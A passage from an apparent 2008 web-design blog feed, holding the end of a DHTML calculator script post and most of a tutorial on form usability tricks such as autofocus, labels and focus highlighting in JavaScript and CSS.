<span style="color: #009900;"><span style="color: #000066;">cellpadding</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;100%&quot;</span> <span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;cursor:hand;font:bold 20px Verdana;color:white;text-align:center&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; <span style="color: #000066;">onClick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;result.innerText=0;results=''&quot;</span>&gt;</span>C<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">table</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;left&quot;</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">table</span> <span style="color: #000066;">border</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1&quot;</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;100%&quot;</span> <span style="color: #000066;">cellspacing</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #000066;">cellpadding</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span></span><br />
<span style="color: #009900;"><span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;81&quot;</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;100%&quot;</span> <span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;cursor:hand;font:bold 32px Verdana;color:white;text-align:center&quot;</span></span><br />
<span style="color: #009900;"><span style="color: #000066;">onMouseover</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;event.srcElement.style.color='yellow'&quot;</span></span><br />
<span style="color: #009900;"><span style="color: #000066;">onMouseout</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;event.srcElement.style.color='white'&quot;</span> <span style="color: #000066;">onClick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;calculateresult()&quot;</span>&gt;</span>=<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp;<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">table</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp;<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">table</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">table</span>&gt;</span><br />
<br />
<br />
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">language</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;JavaScript1.2&quot;</span>&gt;</span><br />
/*<br />
DHTML Calculator Script-<br />
© Dynamic Drive (www.dynamicdrive.com)<br />
For full source code, installation instructions,<br />
100's more DHTML scripts, and Terms Of<br />
Use, visit dynamicdrive.com<br />
*/<br />
var results=''<br />
var previouskey=''<br />
var re=/(\/|\*|\+|-)/<br />
var re2=/(\/|\*|\+|-){2}$/<br />
var re3=/.+(\/|\*|\+|-).+/<br />
var re4=/\d|\./<br />
var re5=/^[^\/\*\+].+\d$/<br />
var re6=/\./<br />
<br />
function calculate(){<br />
if (event.srcElement.tagName==&quot;TD&quot;){<br />
if (event.srcElement.innerText.match(re4)<span style="color: #ddbb00;">&amp;&amp;previouskey==&quot;=&quot;)</span><br />
<span style="color: #ddbb00;">results=''</span><br />
<span style="color: #ddbb00;">if (result.innerText.match(re3)&amp;&amp;event.srcElement.innerText.match(re)){</span><br />
<span style="color: #ddbb00;">if (!results.match(re5)){</span><br />
<span style="color: #ddbb00;">result.innerText=&quot;Error!&quot;</span><br />
<span style="color: #ddbb00;">return</span><br />
<span style="color: #ddbb00;">}</span><br />
<span style="color: #ddbb00;">results=eval(results)</span><br />
<span style="color: #ddbb00;">if (results.toString().length&gt;=12&amp;&amp;results.toString().match(re6))</span><br />
<span style="color: #ddbb00;">results=results.toString().substring(0,12)</span><br />
<span style="color: #ddbb00;">result.innerText=results</span><br />
<span style="color: #ddbb00;">}</span><br />
<br />
<span style="color: #ddbb00;">results+=event.srcElement.innerText</span><br />
<span style="color: #ddbb00;">if (results.match(re2))</span><br />
<span style="color: #ddbb00;">results=results.substring(0,results.length-2)+results.charAt(results.length-1)</span><br />
<br />
<span style="color: #ddbb00;">result.innerText=results</span><br />
<span style="color: #ddbb00;">}</span><br />
<span style="color: #ddbb00;">}</span><br />
<br />
<span style="color: #ddbb00;">function calculateresult(){</span><br />
<span style="color: #ddbb00;">if (!results.match(re5)){</span><br />
<span style="color: #ddbb00;">result.innerText=&quot;Error!&quot;</span><br />
<span style="color: #ddbb00;">return</span><br />
<span style="color: #ddbb00;">}</span><br />
<span style="color: #ddbb00;">results=eval(results)</span><br />
<span style="color: #ddbb00;">if (results.toString().length&gt;=12&amp;&amp;results.toString().match(re6))</span><br />
<span style="color: #ddbb00;">results=results.toString().substring(0,12)</span><br />
<span style="color: #ddbb00;">result.innerText=results</span><br />
<span style="color: #ddbb00;">}</span><br />
<br />
<span style="color: #ddbb00;">function pn(){</span><br />
<span style="color: #ddbb00;">if (result.innerText.charAt(0)!='-')</span><br />
<span style="color: #ddbb00;">result.innerText=results='-'+result.innerText</span><br />
<span style="color: #ddbb00;">else if (result.innerText.charAt(0)=='-')</span><br />
<span style="color: #ddbb00;">result.innerText=results=result.innerText*(-1)</span><br />
<span style="color: #ddbb00;">}</span><br />
<span style="color: #ddbb00;">&lt;/script&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/278-webdesign-dhtml-calculator-source-code/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simple Tricks For More Usable Forms</title>
		<link>http://abeontech.com/277-webdesign-simple-tricks-for-more-usable-forms</link>
		<comments>http://abeontech.com/277-webdesign-simple-tricks-for-more-usable-forms#comments</comments>
		<pubDate>Thu, 23 Oct 2008 22:58:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=277</guid>
		<description><![CDATA[Web developers loathe the task of building forms almost as much as users loathe having to fill them in. These are both unfortunate facts of the Web, but some smart JavaScript and intelligent CSS can go a long way to remedying the situation. In this article, I'll introduce a number of simple tricks for improving the usability of forms, and hopefully inspire you to improve on them and create your own.]]></description>
			<content:encoded><![CDATA[<p>Web developers loathe the task of building forms almost as much as users loathe having to fill them in. These are both unfortunate facts of the Web, but some smart JavaScript and intelligent CSS can go a long way to remedying the situation. In this article, I&#8217;ll introduce a number of simple tricks for improving the usability of forms, and hopefully inspire you to improve on them and create your own.</p>
<p>I&#8217;m going to start off with some simple tricks, before introducing the interesting stuff later on. If the material seems too simple for you, feel free to skip ahead.</p>
<p>It&#8217;s the Little Things that Count.</p>
<p><span id="more-277"></span></p>
<p>You will certainly have encountered our first trick before; it&#8217;s used by Google, the world&#8217;s most popular search engine. Whenever you load up www.google.com, your cursor jumps straight to the search box, ready for you to enter your query.</p>
<p>It happens so fast you may not even have thought about it, but, in fact, it works equally well in any situation in which the primary purpose of a page is to fill in a form. It can be done in a number of different ways, each of which assumes that the form element you want to focus on has an id attribute set to &#8220;myfield&#8221;:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>body <span style="color: #000066;">onload</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;document.getElementById('myfield').focus()&quot;</span><span style="color: #339933;">&gt;</span></div></div>
<p>This is, more or less, the method used by Google. It&#8217;s short and to the point. It does, however, require the addition of an onload to your body element, which some people find unsightly.</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
window.<span style="color: #000066;">onload</span> <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'myfield'</span><span style="color: #009900;">&#41;</span>.<span style="color: #000066;">focus</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<p>This can be added to any point in your HTML file, or hidden away in an external script. If you&#8217;re going to be using a lot of JavaScript on a page, it can make sense to move it all in to an external script file in order to keep the JavaScript code separate from your HTML. This method has the disadvantage that you can only assign one thing to the window.onload event at a time.</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
addEvent<span style="color: #009900;">&#40;</span>window<span style="color: #339933;">,</span> <span style="color: #3366CC;">'load'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'myfield'</span><span style="color: #009900;">&#41;</span>.<span style="color: #000066;">focus</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #003366; font-weight: bold;">function</span> addEvent<span style="color: #009900;">&#40;</span>obj<span style="color: #339933;">,</span> evType<span style="color: #339933;">,</span> fn<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>obj.<span style="color: #660066;">addEventListener</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; obj.<span style="color: #660066;">addEventListener</span><span style="color: #009900;">&#40;</span>evType<span style="color: #339933;">,</span> fn<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>obj.<span style="color: #660066;">attachEvent</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">var</span> r <span style="color: #339933;">=</span> obj.<span style="color: #660066;">attachEvent</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;on&quot;</span><span style="color: #339933;">+</span>evType<span style="color: #339933;">,</span> fn<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">return</span> r<span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<p>This uses Scott Andrew&#8217;s addEvent function. This is probably the best approach to take if you&#8217;re keeping your code in a separate file, as it will allow other functions to be attached to the onload event as well.</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'myfield'</span><span style="color: #009900;">&#41;</span>.<span style="color: #000066;">focus</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<p>The above will only work if it is placed in the HTML source code some point after the input field. This can be useful if you are working with a server side templating system that makes it difficult to add code directly to the top of a document &#8212; for example, if you are including the top part of the page using a server side include.</p>
<p>The above four options are available for most of the tricks I&#8217;ll demonstrate in this article. For future tricks, I&#8217;ll demonstrate the method using inline attributes such as onload and onclick only, but you should be aware that there are several ways to skin this particular cat.</p>
<h1>Labels</h1>
<p>The quickest way to enhance your form usability is to add labels, if you&#8217;re not using them already. The <label> element has been part of HTML since 1998, but many developers remain unaware of its existence. It allows you to logically relate the text describing a form field to the form field itself. When the user clicks on the label, the browser will move the focus to the related form field, or toggle its state in the case of radio boxes and check buttons. Before you add a label, the form field must have an ID attribute set. In fact, the tips in this article almost all require an ID attribute be set on the form field, as this provides a useful means of targeting that field from JavaScript.</p>
<p>Here&#8217;s the simplest example of a label in action:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>label <span style="color: #000066; font-weight: bold;">for</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;username&quot;</span><span style="color: #339933;">&gt;</span>Username<span style="color: #339933;">:&lt;/</span>label<span style="color: #339933;">&gt;</span><br />
<span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;username&quot;</span> id<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;username&quot;</span> size<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;10&quot;</span><span style="color: #339933;">&gt;</span></div></div>
<p>Clicking on the word &#8220;Username&#8221; will focus the cursor in the text box. This may not seem like a particularly useful effect, but it gives us a useful hook for styling and potentially adding extra JavaScript behaviour. It also dramatically improves the accessibility of the form for users of assistive software.</p>
<p>Where labels really come in to their own is with checkboxes and radio boxes. Both these widgets are plagued by a tiny active area, sometimes called a &#8220;hotspot&#8221;, which you need to hit dead on with your mouse to cause them to toggle. Adding a label increases the hotspot to cover the text associated with the widget as well:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;checkbox&quot;</span> <span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;accepted&quot;</span> id<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;accepted&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #339933;">&lt;</span>label <span style="color: #000066; font-weight: bold;">for</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;accepted&quot;</span><span style="color: #339933;">&gt;</span>I agree to the terms and conditions<span style="color: #339933;">&lt;/</span>label<span style="color: #339933;">&gt;</span></div></div>
<p>Of course, labels aren&#8217;t much good if people don&#8217;t know they&#8217;re there. One simple but effective trick for increasing the visibility of labels is to use CSS to change the cursor over them:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>style type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/css&quot;</span><span style="color: #339933;">&gt;</span><br />
label <span style="color: #009900;">&#123;</span><br />
&nbsp;cursor<span style="color: #339933;">:</span> pointer<span style="color: #339933;">;</span><br />
&nbsp;cursor<span style="color: #339933;">:</span> hand<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">&lt;/</span>style<span style="color: #339933;">&gt;</span></div></div>
<p>Why the two cursor declarations? The CSS standard dictates &#8220;pointer&#8221; as the value for a &#8220;pointer that indicates a link&#8221;. Unfortunately, IE 5 and IE 5.5 for Windows don&#8217;t understand this value, using &#8220;hand&#8221; to mean the same thing. By placing pointer first misbehaving Microsoft browsers ignore it and use the hand value, while better behaved browsers take pointer and ignore hand.</p>
<h1>Visual Hints</h1>
<p>In a large form, it can be easy to lose track of the form field you&#8217;re currently filling in. A great trick for helping out is the following:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>style type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/css&quot;</span><span style="color: #339933;">&gt;</span><br />
input <span style="color: #009900;">&#123;</span><br />
&nbsp;border<span style="color: #339933;">:</span> 2px solid #ccc<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
input<span style="color: #339933;">:</span><span style="color: #000066;">focus</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;border<span style="color: #339933;">:</span> 2px solid #000<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">&lt;/</span>style<span style="color: #339933;">&gt;</span></div></div>
<p>This causes all input fields to have a 2 pixel wide gray border, while the input field on which the user is currently focused gets a black border to make it stand out from the others. There&#8217;s one caveat: IE on Windows doesn&#8217;t support the :focus pseudo-class! Thankfully, it&#8217;s possible to replicate the effect using java script:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;myfield&quot;</span> id<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;myfield&quot;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000066;">onfocus</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;this.style.border='2px solid #000'&quot;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000066;">onblur</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;this.style.border='2px solid #ccc'&quot;</span><span style="color: #339933;">&gt;</span></div></div>
<p>This brings the effect to IE, at the expense of a lot of extra typing. If you&#8217;ve got a lot of form fields on the page, it makes sense to do this instead, again making use of the addEvent function introduced above:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;height:250px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
addEvent<span style="color: #009900;">&#40;</span>window<span style="color: #339933;">,</span> <span style="color: #3366CC;">'load'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> input<span style="color: #339933;">,</span> textarea<span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> inputs <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'input'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span>input <span style="color: #339933;">=</span> inputs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;addEvent<span style="color: #009900;">&#40;</span>input<span style="color: #339933;">,</span> <span style="color: #3366CC;">'focus'</span><span style="color: #339933;">,</span> oninputfocus<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;addEvent<span style="color: #009900;">&#40;</span>input<span style="color: #339933;">,</span> <span style="color: #3366CC;">'blur'</span><span style="color: #339933;">,</span> oninputblur<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> textareas <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'textarea'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span>textarea <span style="color: #339933;">=</span> textareas<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;addEvent<span style="color: #009900;">&#40;</span>textarea<span style="color: #339933;">,</span> <span style="color: #3366CC;">'focus'</span><span style="color: #339933;">,</span> oninputfocus<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;addEvent<span style="color: #009900;">&#40;</span>textarea<span style="color: #339933;">,</span> <span style="color: #3366CC;">'blur'</span><span style="color: #339933;">,</span> oninputblur<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #003366; font-weight: bold;">function</span> oninputfocus<span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #006600; font-style: italic;">/* Cookie-cutter code to find the source of the event */</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> e <span style="color: #339933;">==</span> <span style="color: #3366CC;">'undefined'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #003366; font-weight: bold;">var</span> e <span style="color: #339933;">=</span> window.<span style="color: #660066;">event</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> source<span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> e.<span style="color: #660066;">target</span> <span style="color: #339933;">!=</span> <span style="color: #3366CC;">'undefined'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; source <span style="color: #339933;">=</span> e.<span style="color: #660066;">target</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> e.<span style="color: #660066;">srcElement</span> <span style="color: #339933;">!=</span> <span style="color: #3366CC;">'undefined'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; source <span style="color: #339933;">=</span> e.<span style="color: #660066;">srcElement</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #006600; font-style: italic;">/* End cookie-cutter code */</span><br />
&nbsp;source.<span style="color: #660066;">style</span>.<span style="color: #660066;">border</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'2px solid #000'</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #003366; font-weight: bold;">function</span> oninputblur<span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #006600; font-style: italic;">/* Cookie-cutter code to find the source of the event */</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> e <span style="color: #339933;">==</span> <span style="color: #3366CC;">'undefined'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #003366; font-weight: bold;">var</span> e <span style="color: #339933;">=</span> window.<span style="color: #660066;">event</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #003366; font-weight: bold;">var</span> source<span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> e.<span style="color: #660066;">target</span> <span style="color: #339933;">!=</span> <span style="color: #3366CC;">'undefined'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; source <span style="color: #339933;">=</span> e.<span style="color: #660066;">target</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> e.<span style="color: #660066;">srcElement</span> <span style="color: #339933;">!=</span> <span style="color: #3366CC;">'undefined'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; source <span style="color: #339933;">=</span> e.<span style="color: #660066;">srcElement</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span><br />
